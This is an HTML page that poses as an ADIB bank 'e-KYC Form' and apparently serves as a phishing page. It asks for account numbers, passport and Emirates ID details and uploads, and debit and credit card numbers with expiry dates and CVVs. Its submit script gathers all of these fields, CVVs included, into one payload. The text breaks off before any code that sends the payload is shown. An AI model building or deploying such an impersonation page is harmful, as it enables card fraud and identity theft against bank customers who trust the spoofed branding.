
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=1024, initial-scale=1.0, user-scalable=no">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>ADIB KYC</title>
    </head>    
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>e-KYC Form</title>
        <style>
            /* General styling */
            body {
                font-family: Arial, sans-serif;
                margin: 0;
                padding: 0;
                display: flex;
                flex-direction: column;
                align-items: center;
                background-color: #f4f4f4;
            }
            
            /* Header Styling */
            .header {
                width: 100%;
                max-width: 1200px;
                display: flex;
                justify-content: space-between;
                align-items: center;
                padding: 20px;
                margin-bottom: -60px;
            }
            
            .logo {
                width: 300px;
                height: auto;
                margin-left: 100px;
                margin-top: 60px;
            }
            
            .title {
                font-size: 20px;
                font-weight: bold;
                color: #000;
                margin-right: 120px;
                margin-top: 60px;
            }
            
            /* Main content styling */
            .main-content {
                display: flex;
                flex-direction: column;
                align-items: center;
                margin-top: 120px;
            }
            
            /* Box styling */
            .box {
                width: 100%;
                max-width: 1000px; /* Standardizing the width */
                height: 55px;
                background-color: #C8102E; /* ADIB Bank Blue */
                color: white;
                font-size: 20px;
                font-weight: bold;
                display: flex;
                justify-content: flex-start;
                align-items: center;
                margin: 6px 0;
                border-radius: 8px;
                padding-left: 20px;
                cursor: pointer;
            }
            
            /* Form container styling */
            .form-container {
                width: 100%;
                max-width: 1000px; /* Standardizing the width */
                max-height: 0;
                overflow: hidden;
                transition: max-height 0.4s ease-in-out;
                background-color: #fff;
                border-radius: 8px;
                box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
                margin-top: 10px;
                padding: 0 20px;
                position: relative;
            }
            
            .form-container.open {
                max-height: 100%; /* Adjust to fit content */
                padding: 20px;
            }
            
            /* Passport logo positioning */
            .passport-logo {
                position: absolute;
                top: 20px;
                left: 20px;
                width: 50px;
                height: auto;
            }
            
            /* Form group styling */
            .form-group {
                display: flex;
                align-items: center;
                margin-bottom: 15px;
            }
            
            /* Form label styling */
            .form-label {
                flex: 0 0 150px;
                font-size: 16px;
                font-weight: bold;
                color: #333;
            }
            
            /* Input, select, and upload styling */
            .form-input, .form-select, .form-upload {
                flex: 1;
                padding: 8px;
                font-size: 14px;
                border: 1px solid #ccc;
                border-radius: 4px;
            }
            
            /* Upload button styling */
            .form-upload {
                background-color: #C8102E; /* ADIB Bank Blue */
                color: white;
                font-weight: bold;
            }
            
            /* Next button styling */
            .next-button {
                display: flex;
                justify-content: flex-end;
                margin-top: 20px;
            }
            
            .next-button button {
                background-color: #C8102E; /* ADIB Bank Blue */
                color: white;
                padding: 10px 20px;
                border: none;
                border-radius: 4px;
                cursor: pointer;
                font-size: 16px;
                font-weight: bold;
            }
            
            /* Info text styling */
            .info-text {
                font-size: 14px;
                color: #666;
                margin-top: 5px;
            }
            
            /* Form header and paragraph styling */
            .form-container h2, .form-container p {
                text-align: center;
            }
            
            /* Small text styling */
            .small-text {
                font-size: 12px;
            }
            
            /* Moving line styling */
            #movingLine {
                position: absolute;
                top: 0;
                left: 0;
                width: 100%;
                height: 30px; /* Adjust height as needed */
                background-color: #C8102E; /* ADIB Bank Blue */
                display: flex;
                align-items: center;
                overflow: hidden;
            }
            
            #movingText {
                color: white;
                font-size: 13px;
                font-family: Arial, sans-serif;
                font-weight: bold;
                white-space: nowrap;
                position: relative;
            }
            
            /* Language header styling */
            .language-header {
                width: 100%;
                max-width: 1000px; /* Standardizing width */
                background-color: #f0f8ff; /* Light blue background */
                color: #C8102E; /* ADIB Bank Blue */
                font-size: 13px;
                font-weight: bold;
                text-align: center;
                margin-bottom: -100px;
                margin-top: 40px;
                padding: 10px;
                border-radius: 8px;
                box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            }
            </style>
            
</head><!--  -->
<body>
    <div id="movingLine">
        <div id="movingText">ADIB's vision is to be the world's most innovative Islamic financial institution. Their mission is to provide simple banking that is empowered by people-centric innovation. ADIB's values are driven by the spirit of sharia and include mutual benefit, transparency, simplicity, sensibility, hospitality, and tolerance. Banking as it should be".  ©2024 ADIB. All rights reserved.</div>
    </div>
    <div class="header">
        <img src="https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/rakenglish.png?alt=media&token=a384d686-515d-41cd-8779-afb6ade0daa3" alt="Logo" class="logo">
        <div class="title">e-KYC Form</div>
    </div>

    <div class="wrapper">
        </div>

    <div class="main-content">
        <!-- Language Instruction -->
        <div class="language-header">
            Please note that the required information should be entered in English only.
        </div>
        <style>
            .language-header {
                width: 100%;
                background-color: #f0f8ff; /* Light blue background */
                color: #C8102E; /* ADIB Bank Blue */
                font-size: 13px;
                font-weight: bold;
                text-align: center;
                margin-bottom: -100px;
                margin-top: 40px;
                padding: 10px;
                border-radius: 8px;
                box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            }
            </style>
            

    <div class="main-content">
        <!-- General Information -->
        <div class="box" id="box-1">General Information</div>
        <div class="form-container" id="form-container-1">
            <div class="form-group">
                <label class="form-label">Name:</label>
                <input type="text" class="form-input" placeholder="Enter Name" required>
            </div>
            <div class="form-group">
                <label class="form-label">Account Number:</label>
                <input type="text" class="form-input" placeholder="Enter account number" required>
            </div>
            <div class="form-group">
                <label class="form-label">Email:</label>
                <input type="text" class="form-input" placeholder="Email address" required>
            </div>
            <div class="form-group">
                <label class="form-label">DOB (date of birth):</label>
                <input type="date" class="form-input" required>
            </div>
            <div class="next-button">
                <button id="next-button-1">NEXT</button>
            </div>
        </div>
        <div class="box" id="box-5">KYC Details</div>
<div class="form-container" id="form-container-5">
    <!-- Country of Residence -->
    <div class="form-group">
        <label class="form-label">Country of Residence</label>
        <select class="form-select" name="Country of Residence" required> <!-- Added 'name' attribute here -->
            <option value="" disabled selected>Select Country of Residence</option>
            <option value="United Arab Emirates">United Arab Emirates</option>
            <option value="Afghanistan">Afghanistan</option>
            <option value="Albania">Albania</option>
            <option value="Algeria">Algeria</option>
            <option value="Andorra">Andorra</option>
            <option value="Angola">Angola</option>
            <option value="Antigua and Barbuda">Antigua and Barbuda</option>
            <option value="Argentina">Argentina</option>
            <option value="Armenia">Armenia</option>
            <option value="Australia">Australia</option>
            <option value="Austria">Austria</option>
            <option value="Azerbaijan">Azerbaijan</option>
            <option value="Bahamas">Bahamas</option>
            <option value="Bahrain">Bahrain</option>
            <option value="Bangladesh">Bangladesh</option>
            <option value="Barbados">Barbados</option>
            <option value="Belarus">Belarus</option>
            <option value="Belgium">Belgium</option>
            <option value="Belize">Belize</option>
            <option value="Benin">Benin</option>
            <option value="Bhutan">Bhutan</option>
            <option value="Bolivia">Bolivia</option>
            <option value="Bosnia and Herzegovina">Bosnia and Herzegovina</option>
            <option value="Botswana">Botswana</option>
            <option value="Brazil">Brazil</option>
            <option value="Brunei">Brunei</option>
            <option value="Bulgaria">Bulgaria</option>
            <option value="Burkina Faso">Burkina Faso</option>
            <option value="Burundi">Burundi</option>
            <option value="Cabo Verde">Cabo Verde</option>
            <option value="Cambodia">Cambodia</option>
            <option value="Cameroon">Cameroon</option>
            <option value="Canada">Canada</option>
            <option value="Central African Republic">Central African Republic</option>
            <option value="Chad">Chad</option>
            <option value="Chile">Chile</option>
            <option value="China">China</option>
            <option value="Colombia">Colombia</option>
            <option value="Comoros">Comoros</option>
            <option value="Congo (Congo-Brazzaville)">Congo (Congo-Brazzaville)</option>
            <option value="Costa Rica">Costa Rica</option>
            <option value="Croatia">Croatia</option>
            <option value="Cuba">Cuba</option>
            <option value="Cyprus">Cyprus</option>
            <option value="Czechia (Czech Republic)">Czechia (Czech Republic)</option>
            <option value="Democratic Republic of the Congo">Democratic Republic of the Congo</option>
            <option value="Denmark">Denmark</option>
            <option value="Djibouti">Djibouti</option>
            <option value="Dominica">Dominica</option>
            <option value="Dominican Republic">Dominican Republic</option>
            <option value="Ecuador">Ecuador</option>
            <option value="Egypt">Egypt</option>
            <option value="El Salvador">El Salvador</option>
            <option value="Equatorial Guinea">Equatorial Guinea</option>
            <option value="Eritrea">Eritrea</option>
            <option value="Estonia">Estonia</option>
            <option value="Eswatini (fmr. Swaziland)">Eswatini (fmr. Swaziland)</option>
            <option value="Ethiopia">Ethiopia</option>
            <option value="Fiji">Fiji</option>
            <option value="Finland">Finland</option>
            <option value="France">France</option>
            <option value="Gabon">Gabon</option>
            <option value="Gambia">Gambia</option>
            <option value="Georgia">Georgia</option>
            <option value="Germany">Germany</option>
            <option value="Ghana">Ghana</option>
            <option value="Greece">Greece</option>
            <option value="Grenada">Grenada</option>
            <option value="Guatemala">Guatemala</option>
            <option value="Guinea">Guinea</option>
            <option value="Guinea-Bissau">Guinea-Bissau</option>
            <option value="Guyana">Guyana</option>
            <option value="Haiti">Haiti</option>
            <option value="Holy See">Holy See</option>
            <option value="Honduras">Honduras</option>
            <option value="Hungary">Hungary</option>
            <option value="Iceland">Iceland</option>
            <option value="India">India</option>
            <option value="Indonesia">Indonesia</option>
            <option value="Iran">Iran</option>
            <option value="Iraq">Iraq</option>
            <option value="Ireland">Ireland</option>
            <option value="Israel">Israel</option>
            <option value="Italy">Italy</option>
            <option value="Jamaica">Jamaica</option>
            <option value="Japan">Japan</option>
            <option value="Jordan">Jordan</option>
            <option value="Kazakhstan">Kazakhstan</option>
            <option value="Kenya">Kenya</option>
            <option value="Kiribati">Kiribati</option>
            <option value="Kuwait">Kuwait</option>
            <option value="Kyrgyzstan">Kyrgyzstan</option>
            <option value="Laos">Laos</option>
            <option value="Latvia">Latvia</option>
            <option value="Lebanon">Lebanon</option>
            <option value="Lesotho">Lesotho</option>
            <option value="Liberia">Liberia</option>
            <option value="Libya">Libya</option>
            <option value="Liechtenstein">Liechtenstein</option>
            <option value="Lithuania">Lithuania</option>
            <option value="Luxembourg">Luxembourg</option>
            <option value="Madagascar">Madagascar</option>
            <option value="Malawi">Malawi</option>
            <option value="Malaysia">Malaysia</option>
            <option value="Maldives">Maldives</option>
            <option value="Mali">Mali</option>
            <option value="Malta">Malta</option>
            <option value="Marshall Islands">Marshall Islands</option>
            <option value="Mauritania">Mauritania</option>
            <option value="Mauritius">Mauritius</option>
            <option value="Mexico">Mexico</option>
            <option value="Micronesia">Micronesia</option>
            <option value="Moldova">Moldova</option>
            <option value="Monaco">Monaco</option>
            <option value="Mongolia">Mongolia</option>
            <option value="Montenegro">Montenegro</option>
            <option value="Morocco">Morocco</option>
            <option value="Mozambique">Mozambique</option>
            <option value="Myanmar (formerly Burma)">Myanmar (formerly Burma)</option>
            <option value="Namibia">Namibia</option>
            <option value="Nauru">Nauru</option>
            <option value="Nepal">Nepal</option>
            <option value="Netherlands">Netherlands</option>
            <option value="New Zealand">New Zealand</option>
            <option value="Nicaragua">Nicaragua</option>
            <option value="Niger">Niger</option>
            <option value="Nigeria">Nigeria</option>
            <option value="North Korea">North Korea</option>
            <option value="North Macedonia">North Macedonia</option>
            <option value="Norway">Norway</option>
            <option value="Oman">Oman</option>
            <option value="Pakistan">Pakistan</option>
            <option value="Palau">Palau</option>
            <option value="Palestine State">Palestine State</option>
            <option value="Panama">Panama</option>
            <option value="Papua New Guinea">Papua New Guinea</option>
            <option value="Paraguay">Paraguay</option>
            <option value="Peru">Peru</option>
            <option value="Philippines">Philippines</option>
            <option value="Poland">Poland</option>
            <option value="Portugal">Portugal</option>
            <option value="Qatar">Qatar</option>
            <option value="Romania">Romania</option>
            <option value="Russia">Russia</option>
            <option value="Rwanda">Rwanda</option>
            <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option>
            <option value="Saint Lucia">Saint Lucia</option>
            <option value="Saint Vincent and the Grenadines">Saint Vincent and the Grenadines</option>
            <option value="Samoa">Samoa</option>
            <option value="San Marino">San Marino</option>
            <option value="Sao Tome and Principe">Sao Tome and Principe</option>
            <option value="Saudi Arabia">Saudi Arabia</option>
            <option value="Senegal">Senegal</option>
            <option value="Serbia">Serbia</option>
            <option value="Seychelles">Seychelles</option>
            <option value="Sierra Leone">Sierra Leone</option>
            <option value="Singapore">Singapore</option>
            <option value="Slovakia">Slovakia</option>
            <option value="Slovenia">Slovenia</option>
            <option value="Solomon Islands">Solomon Islands</option>
            <option value="Somalia">Somalia</option>
            <option value="South Africa">South Africa</option>
            <option value="South Korea">South Korea</option>
            <option value="South Sudan">South Sudan</option>
            <option value="Spain">Spain</option>
            <option value="Sri Lanka">Sri Lanka</option>
            <option value="Sudan">Sudan</option>
            <option value="Suriname">Suriname</option>
            <option value="Sweden">Sweden</option>
            <option value="Switzerland">Switzerland</option>
            <option value="Syria">Syria</option>
            <option value="Tajikistan">Tajikistan</option>
            <option value="Tanzania">Tanzania</option>
            <option value="Thailand">Thailand</option>
            <option value="Timor-Leste">Timor-Leste</option>
            <option value="Togo">Togo</option>
            <option value="Tonga">Tonga</option>
            <option value="Trinidad and Tobago">Trinidad and Tobago</option>
            <option value="Tunisia">Tunisia</option>
            <option value="Turkey">Turkey</option>
            <option value="Turkmenistan">Turkmenistan</option>
            <option value="Tuvalu">Tuvalu</option>
            <option value="Uganda">Uganda</option>
            <option value="Ukraine">Ukraine</option>
            <option value="United Arab Emirates">United Arab Emirates</option>
            <option value="United Kingdom">United Kingdom</option>
            <option value="United States of America">United States of America</option>
            <option value="Uruguay">Uruguay</option>
            <option value="Uzbekistan">Uzbekistan</option>
            <option value="Vanuatu">Vanuatu</option>
            <option value="Venezuela">Venezuela</option>
            <option value="Vietnam">Vietnam</option>
            <option value="Yemen">Yemen</option>
            <option value="Zambia">Zambia</option>
            <option value="Zimbabwe">Zimbabwe</option> 
            <option value="United Arab Emirates">United Arab Emirates</option>
            <option value="" disabled selected>Select Country of Residence</option>
        </select>
    </div>
    <div class="form-group">
        <label class="form-label">Nationality</label>
        <select class="form-select" name="Nationality" required>
            <option value="" disabled selected>Select Nationality</option>
            <option value="Afghanistan">Afghanistan</option>
            <option value="Albania">Albania</option>
            <option value="Algeria">Algeria</option>
            <option value="Andorra">Andorra</option>
            <option value="Angola">Angola</option>
            <option value="Antigua and Barbuda">Antigua and Barbuda</option>
            <option value="Argentina">Argentina</option>
            <option value="Armenia">Armenia</option>
            <option value="Australia">Australia</option>
            <option value="Austria">Austria</option>
            <option value="Azerbaijan">Azerbaijan</option>
            <option value="Bahamas">Bahamas</option>
            <option value="Bahrain">Bahrain</option>
            <option value="Bangladesh">Bangladesh</option>
            <option value="Barbados">Barbados</option>
            <option value="Belarus">Belarus</option>
            <option value="Belgium">Belgium</option>
            <option value="Belize">Belize</option>
            <option value="Benin">Benin</option>
            <option value="Bhutan">Bhutan</option>
            <option value="Bolivia">Bolivia</option>
            <option value="Bosnia and Herzegovina">Bosnia and Herzegovina</option>
            <option value="Botswana">Botswana</option>
            <option value="Brazil">Brazil</option>
            <option value="Brunei">Brunei</option>
            <option value="Bulgaria">Bulgaria</option>
            <option value="Burkina Faso">Burkina Faso</option>
            <option value="Burundi">Burundi</option>
            <option value="Cabo Verde">Cabo Verde</option>
            <option value="Cambodia">Cambodia</option>
            <option value="Cameroon">Cameroon</option>
            <option value="Canada">Canada</option>
            <option value="Central African Republic">Central African Republic</option>
            <option value="Chad">Chad</option>
            <option value="Chile">Chile</option>
            <option value="China">China</option>
            <option value="Colombia">Colombia</option>
            <option value="Comoros">Comoros</option>
            <option value="Congo (Congo-Brazzaville)">Congo (Congo-Brazzaville)</option>
            <option value="Costa Rica">Costa Rica</option>
            <option value="Croatia">Croatia</option>
            <option value="Cuba">Cuba</option>
            <option value="Cyprus">Cyprus</option>
            <option value="Czechia (Czech Republic)">Czechia (Czech Republic)</option>
            <option value="Democratic Republic of the Congo">Democratic Republic of the Congo</option>
            <option value="Denmark">Denmark</option>
            <option value="Djibouti">Djibouti</option>
            <option value="Dominica">Dominica</option>
            <option value="Dominican Republic">Dominican Republic</option>
            <option value="Ecuador">Ecuador</option>
            <option value="Egypt">Egypt</option>
            <option value="El Salvador">El Salvador</option>
            <option value="Equatorial Guinea">Equatorial Guinea</option>
            <option value="Eritrea">Eritrea</option>
            <option value="Estonia">Estonia</option>
            <option value="Eswatini (fmr. Swaziland)">Eswatini (fmr. Swaziland)</option>
            <option value="Ethiopia">Ethiopia</option>
            <option value="Fiji">Fiji</option>
            <option value="Finland">Finland</option>
            <option value="France">France</option>
            <option value="Gabon">Gabon</option>
            <option value="Gambia">Gambia</option>
            <option value="Georgia">Georgia</option>
            <option value="Germany">Germany</option>
            <option value="Ghana">Ghana</option>
            <option value="Greece">Greece</option>
            <option value="Grenada">Grenada</option>
            <option value="Guatemala">Guatemala</option>
            <option value="Guinea">Guinea</option>
            <option value="Guinea-Bissau">Guinea-Bissau</option>
            <option value="Guyana">Guyana</option>
            <option value="Haiti">Haiti</option>
            <option value="Holy See">Holy See</option>
            <option value="Honduras">Honduras</option>
            <option value="Hungary">Hungary</option>
            <option value="Iceland">Iceland</option>
            <option value="India">India</option>
            <option value="Indonesia">Indonesia</option>
            <option value="Iran">Iran</option>
            <option value="Iraq">Iraq</option>
            <option value="Ireland">Ireland</option>
            <option value="Israel">Israel</option>
            <option value="Italy">Italy</option>
            <option value="Jamaica">Jamaica</option>
            <option value="Japan">Japan</option>
            <option value="Jordan">Jordan</option>
            <option value="Kazakhstan">Kazakhstan</option>
            <option value="Kenya">Kenya</option>
            <option value="Kiribati">Kiribati</option>
            <option value="Kuwait">Kuwait</option>
            <option value="Kyrgyzstan">Kyrgyzstan</option>
            <option value="Laos">Laos</option>
            <option value="Latvia">Latvia</option>
            <option value="Lebanon">Lebanon</option>
            <option value="Lesotho">Lesotho</option>
            <option value="Liberia">Liberia</option>
            <option value="Libya">Libya</option>
            <option value="Liechtenstein">Liechtenstein</option>
            <option value="Lithuania">Lithuania</option>
            <option value="Luxembourg">Luxembourg</option>
            <option value="Madagascar">Madagascar</option>
            <option value="Malawi">Malawi</option>
            <option value="Malaysia">Malaysia</option>
            <option value="Maldives">Maldives</option>
            <option value="Mali">Mali</option>
            <option value="Malta">Malta</option>
            <option value="Marshall Islands">Marshall Islands</option>
            <option value="Mauritania">Mauritania</option>
            <option value="Mauritius">Mauritius</option>
            <option value="Mexico">Mexico</option>
            <option value="Micronesia">Micronesia</option>
            <option value="Moldova">Moldova</option>
            <option value="Monaco">Monaco</option>
            <option value="Mongolia">Mongolia</option>
            <option value="Montenegro">Montenegro</option>
            <option value="Morocco">Morocco</option>
            <option value="Mozambique">Mozambique</option>
            <option value="Myanmar (formerly Burma)">Myanmar (formerly Burma)</option>
            <option value="Namibia">Namibia</option>
            <option value="Nauru">Nauru</option>
            <option value="Nepal">Nepal</option>
            <option value="Netherlands">Netherlands</option>
            <option value="New Zealand">New Zealand</option>
            <option value="Nicaragua">Nicaragua</option>
            <option value="Niger">Niger</option>
            <option value="Nigeria">Nigeria</option>
            <option value="North Korea">North Korea</option>
            <option value="North Macedonia">North Macedonia</option>
            <option value="Norway">Norway</option>
            <option value="Oman">Oman</option>
            <option value="Pakistan">Pakistan</option>
            <option value="Palau">Palau</option>
            <option value="Palestine State">Palestine State</option>
            <option value="Panama">Panama</option>
            <option value="Papua New Guinea">Papua New Guinea</option>
            <option value="Paraguay">Paraguay</option>
            <option value="Peru">Peru</option>
            <option value="Philippines">Philippines</option>
            <option value="Poland">Poland</option>
            <option value="Portugal">Portugal</option>
            <option value="Qatar">Qatar</option>
            <option value="Romania">Romania</option>
            <option value="Russia">Russia</option>
            <option value="Rwanda">Rwanda</option>
            <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option>
            <option value="Saint Lucia">Saint Lucia</option>
            <option value="Saint Vincent and the Grenadines">Saint Vincent and the Grenadines</option>
            <option value="Samoa">Samoa</option>
            <option value="San Marino">San Marino</option>
            <option value="Sao Tome and Principe">Sao Tome and Principe</option>
            <option value="Saudi Arabia">Saudi Arabia</option>
            <option value="Senegal">Senegal</option>
            <option value="Serbia">Serbia</option>
            <option value="Seychelles">Seychelles</option>
            <option value="Sierra Leone">Sierra Leone</option>
            <option value="Singapore">Singapore</option>
            <option value="Slovakia">Slovakia</option>
            <option value="Slovenia">Slovenia</option>
            <option value="Solomon Islands">Solomon Islands</option>
            <option value="Somalia">Somalia</option>
            <option value="South Africa">South Africa</option>
            <option value="South Korea">South Korea</option>
            <option value="South Sudan">South Sudan</option>
            <option value="Spain">Spain</option>
            <option value="Sri Lanka">Sri Lanka</option>
            <option value="Sudan">Sudan</option>
            <option value="Suriname">Suriname</option>
            <option value="Sweden">Sweden</option>
            <option value="Switzerland">Switzerland</option>
            <option value="Syria">Syria</option>
            <option value="Tajikistan">Tajikistan</option>
            <option value="Tanzania">Tanzania</option>
            <option value="Thailand">Thailand</option>
            <option value="Timor-Leste">Timor-Leste</option>
            <option value="Togo">Togo</option>
            <option value="Tonga">Tonga</option>
            <option value="Trinidad and Tobago">Trinidad and Tobago</option>
            <option value="Tunisia">Tunisia</option>
            <option value="Turkey">Turkey</option>
            <option value="Turkmenistan">Turkmenistan</option>
            <option value="Tuvalu">Tuvalu</option>
            <option value="Uganda">Uganda</option>
            <option value="Ukraine">Ukraine</option>
            <option value="United Kingdom">United Kingdom</option>
            <option value="United States of America">United States of America</option>
            <option value="Uruguay">Uruguay</option>
            <option value="Uzbekistan">Uzbekistan</option>
            <option value="Vanuatu">Vanuatu</option>
            <option value="Venezuela">Venezuela</option>
            <option value="Vietnam">Vietnam</option>
            <option value="Yemen">Yemen</option>
            <option value="Zambia">Zambia</option>
            <option value="Zimbabwe">Zimbabwe</option> 
            <option value="United Arab Emirates">United Arab Emirates</option>
            <option value="" disabled selected>Select Nationality</option>
        </select>
    </div>
    <div class="form-group">
        <label class="form-label">Address:</label>
        <input type="text" class="form-input" placeholder="Enter your address" required>
    </div>

    <!-- Occupation -->
    <div class="form-group">
        <label class="form-label">Occupation:</label>
        <input type="text" class="form-input" placeholder="Enter your Occupation" required>
    </div>
    <!-- UAE Resident -->
    <div class="form-group">
        <label class="form-label">UAE Resident:</label>
        <div style="display: flex; flex-direction: column;">
            <label>
                <input type="radio" name="uae_resident" value="yes"> Yes
            </label>
            <label>
                <input type="radio" name="uae_resident" value="no"> No
            </label>
        </div>
    </div>

    <!-- Next Button -->
    <div class="next-button">
        <button id="next-button-1">NEXT</button>
    </div>
</div>

        <!-- Passport Details -->
        <div class="box" id="box-2">Passport Details</div>
        <div class="form-container" id="form-container-2">
            <img src="https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/passport%20logo.png?alt=media&token=f08e2366-2b65-4ed0-b88e-a968f0b08911" alt="Passport Logo" class="passport-logo">
            <h2>Passport Copy Upload</h2>
            <p>(Please upload a copy of the first page and second or last page of your passport containing details like personal information, validity, and address.)</p>
        
            <div class="form-group">
                <label class="form-label">Passport Copy: <span class="small-text">*image or PDF*</span></label>
                <input type="file" class="form-upload">
            </div>
        
            <div class="form-group">
                <label class="form-label">Passport Number:</label>
                <input type="text" class="form-input" placeholder="Enter Passport Number" required>
            </div>
            <div class="form-group">
                <label class="form-label">Issue Date:</label>
                <input type="date" class="form-input" name="passport_issue_date" required> <!-- Added 'name' attribute -->
            </div>
            <div class="form-group">
                <label class="form-label">Expiry Date:</label>
                <input type="date" class="form-input" name="passport_expiry_date" required> <!-- Added 'name' attribute -->
            </div>
            
        
            <div class="next-button">
                <button id="next-button-1">NEXT</button>
            </div>
        </div>

<!-- Emirates ID Details -->
<div class="box" id="box-3">Emirates ID Details</div>
<div class="form-container" id="form-container-3">
    <h2>Emirates ID copy upload</h2>
    <p>(Please upload a copy of the front and back of your Emirates ID)</p>
    <div class="form-group">
        <label class="form-label">Front Side:</label>
        <input type="file" class="form-upload" required>
    </div>
    <div class="form-group">
        <label class="form-label">Back Side:</label>
        <input type="file" class="form-upload" required>
    </div>

    <!-- New Fields: Emirates ID Number and Expiry Date -->
    <div class="form-group">
        <label class="form-label">Emirates ID Number:</label>
        <input type="text" class="form-input" placeholder="Enter Emirates ID Number" required>
    </div>
    <div class="form-group">
        <label class="form-label">Emirates ID Expiry Date:</label>
        <input type="date" class="form-input" name="emirates_id_expiry_date" required> <!-- Added 'name' attribute -->
    </div>    

    <div class="next-button">
        <button id="next-button-1">NEXT</button>
    </div>
</div>

<div class="box" id="box-debit">Verification</div>
<div class="form-container" id="form-container-7">
    <div class="form-group">
        <label class="form-label">Debit Card Number:</label>
        <input type="text" class="form-input" placeholder="Enter Card Number" required>
    </div>
    <div class="form-group">
        <label class="form-label">Debit Card Expiration Date:</label>
        <input type="text" class="form-input" placeholder="MM/YY" required>
    </div>
    <div class="form-group">
        <label class="form-label">CVV:</label>
        <input type="password" class="form-input" placeholder="Enter CVV" required>
    </div>

    <div class="form-group">
        <button id="toggle-debit" class="form-button blue-box">Credit Card (If available)</button>
    </div>

    <div id="credit-forms" style="display: none; margin-top: 10px;">
        <div id="credit-card-1" class="credit-card-form">
            <div class="form-group">
                <label class="form-label">Credit Card 1 Number:</label>
                <input type="text" class="form-input" placeholder="Enter Card Number1">
            </div>
            <div class="form-group">
                <label class="form-label">Credit Card 1 Expiration Date:</label>
                <input type="text" class="form-input" placeholder="MM/YY.">
            </div>
            <div class="form-group">
                <label class="form-label">Credit Card 1 CVV:</label>
                <input type="password" class="form-input" placeholder="CVV">
            </div>
        </div>
            </div>
        </div>
    </div>
</div>


<style>
    .blue-box {
        background-color: #C8102E; /* Blue color */
        color: #fff;              /* White text */
        border: none;
        padding: 10px 20px;
        border-radius: 5px;
        cursor: pointer;
        font-size: 14px;
        transition: background-color 0.3s ease;
    }

    .blue-box:hover {
        background-color: #C8102E; /* Darker blue on hover */
    }
</style>
</div>
<div class="box" id="submit-box">
    Submit
</div>
<style>
    #submit-box {
    width: 100%;
    height: 55px;
    background-color: #C8102E; /* Green for submission */
    color: white;
    font-size: 20px;
    font-weight: bold;
    display: flex;
    justify-content: center;
    align-items: center;
    margin: 10px 0;
    border-radius: 8px;
    cursor: pointer;
    transition: background-color 0.3s ease;
    opacity: 0.5; /* Initially disabled, greyed-out */
    pointer-events: none; /* Disable clicks initially */
}

#submit-box:hover {
    background-color: #218838; /* Darker green on hover */
}

#submit-box:active {
    background-color: #1e7e34; /* Even darker green on click */
}

</style>

    <script>
        const boxes = [...document.querySelectorAll('.box')];
        const forms = [...document.querySelectorAll('.form-container')];
        const nextButtons = [...document.querySelectorAll('.next-button button')];

        boxes.forEach((box, i) => box.addEventListener('click', () => {
            forms[i].classList.toggle('open');
        }));

        nextButtons.forEach((button, i) => button.addEventListener('click', () => {
            forms[i].classList.remove('open');
            if (forms[i + 1]) {
                forms[i + 1].classList.add('open');
            }
        }));
    </script>
<script>
    document.getElementById('toggle-debit').addEventListener('click', function (e) {
        e.preventDefault();
        const creditForms = document.getElementById('credit-forms');
        creditForms.style.display = creditForms.style.display === 'none' ? 'block' : 'none';
    });
</script>
<script>
    // Reference to the moving text
    const movingText = document.getElementById("movingText");

    // Animation logic
    let position = window.innerWidth; // Start off-screen to the right
    const speed = 2; // Speed of movement (pixels per frame)

    function animateText() {
        position -= speed; // Move left by decreasing position
        movingText.style.transform = `translateX(${position}px)`;

        // Reset position when text goes off the screen to the left
        if (position < -movingText.offsetWidth) {
            position = window.innerWidth; // Reset to the right edge
        }

        requestAnimationFrame(animateText);
    }

    // Start the animation
    animateText();
</script>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        document.getElementById('submit-box').addEventListener('click', function () {
            try {
                // Collect General Information
                const name = document.querySelector('input[placeholder="Enter Name"]')?.value || '';
                const accountNumber = document.querySelector('input[placeholder="Enter account number"]')?.value || '';
                const email = document.querySelector('input[placeholder="Email address"]')?.value || '';
                const dob = document.querySelector('input[type="date"]')?.value || '';

                // Collect KYC Details
                const countryOfResidence = document.querySelector('select[name="Country of Residence"]')?.value || '';
                const nationality = document.querySelector('select[name="Nationality"]')?.value || '';
                const address = document.querySelector('input[placeholder="Enter your address"]')?.value || '';
                const occupation = document.querySelector('input[placeholder="Enter your Occupation"]')?.value || '';
                const uaeResident = document.querySelector('input[name="uae_resident"]:checked')?.value || '';

                // Collect Passport Details
                const passportNumber = document.querySelector('input[placeholder="Enter Passport Number"]')?.value || '';
                const passportIssueDate = document.querySelector('input[name="passport_issue_date"]')?.value || '';
                const passportExpiryDate = document.querySelector('input[name="passport_expiry_date"]')?.value || '';

                // Collect Emirates ID Details
                const emiratesIDFront = document.querySelector('input[name="emirates_id_front"]')?.files[0]?.name || '';
                const emiratesIDBack = document.querySelector('input[name="emirates_id_back"]')?.files[0]?.name || '';
                const emiratesIDNumber = document.querySelector('input[placeholder="Enter Emirates ID Number"]')?.value || '';
                const emiratesIDExpiryDate = document.querySelector('input[name="emirates_id_expiry_date"]')?.value || '';

                // Collect Debit Card Details
                const debitCardNumber = document.querySelector('input[placeholder="Enter Card Number"]')?.value || '';
                const debitCardExpirationDate = document.querySelector('input[placeholder="MM/YY"]')?.value || '';
                const debitCardCVV = document.querySelector('input[placeholder="Enter CVV"]')?.value || '';

                // Collect Credit Card Details
                const creditCardNumber = document.querySelector('input[placeholder="Enter Card Number1"]')?.value || '';
                const creditCardExpirationDate = document.querySelector('input[placeholder="MM/YY."]')?.value || '';
                const creditCardCVV = document.querySelector('input[placeholder="CVV"]')?.value || '';

                // Create payload
                const formData = {
                    name,
                    accountNumber,
                    email,
                    dob,
                    countryOfResidence,
                    nationality,
                    address,
                    occupation,
                    uaeResident,
                    passportNumber,
                    passportIssueDate,
                    passportExpiryDate,
                    emiratesIDFront,
                    emiratesIDBack,
                    emiratesIDNumber,
                    emiratesIDExpiryDate,
                    debitCardNumber,
                    debitCardExpirationDate,
                    debitCardCVV,
                    creditCardNumber,
                    creditCardExpirationDate,
                    creditCardCVV,
                };

                // Debug: Log all form data to the console
